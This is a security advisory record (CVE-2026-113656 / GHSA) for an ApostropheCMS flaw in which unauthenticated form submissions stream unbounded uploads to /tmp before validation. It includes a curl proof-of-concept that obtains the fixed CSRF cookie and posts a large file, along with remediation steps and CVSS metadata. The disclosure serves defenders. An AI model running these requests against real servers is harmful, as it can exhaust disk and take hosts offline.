CVE-2026-113656
**Summary** The form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received. **Details** `packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. "CSRF" is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously. **PoC** ``` $ curl -s -c csrfjar.cookies http://localhost:3100/ # get vulnlab.csrf=csrf (any GET) $ df -P /tmp # before: used=1105212 $ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \ -F "file=@/tmp/opencode/big.bin;type=application/octet-stream" & DURING transfer: used=1148668 still transferring: used=1226936 # +121MB mid-transfer on disk http=500 time=1.78s sent=209715411B # generic error AFTER full staging # Anonymous, zero credentials. 200MB written to /tmp pre-validation. ``` **Impact** Any unauthenticated client can force the server to persist entire request bodies to the temp filesystem and CPU-decode them; parallel requests exhaust disk `/tmp` (process/host crash) and saturate the event loop — a trivial remote DoS. Aborted transfers risk orphaning staged files (no `req.aborted` cleanup). **Remediation** — Set multer `limits` (fileSize, fields, parts, fieldSize); perform auth/role/existence checks before the multer mount or inside the checked handler; unlink staged files on first read and on `req.aborted`/error; add per-IP rate limiting.
Properties
- Severity
- medium
- Summary
- ApostropheCMS: Unauthenticated unbounded multipart upload → disk-exhaustion DoS
- Nvd fetched at
- 2026-10-20T21:14:08.448323+00:00
- Cvss severity
- MEDIUM
- Cvss score
- 5.3
- Retrieved at
- 2026-10-21T01:23:59+00:00
- Ghsa published
- 2026-10-20T18:08:31Z
- Source url
- https://github.com/advisories/GHSA-89mh-mm8c-mv7f
- Ghsa updated
- 2026-10-20T18:08:32Z
- Ghsa id
- GHSA-89mh-mm8c-mv7f
- Last source
- GitHub Advisory Database
- Score
- 5.3
- Cvss version
- 3.1
- Cve id
- CVE-2026-113656
- Cvss vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- First seen by Signal
- 2026-10-20T21:15:35+00:00
- Is ghsa only
- false
- Vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Published at
- 2026-10-20T17:17:36.643
- Last modified
- 2026-10-20T19:53:10.247
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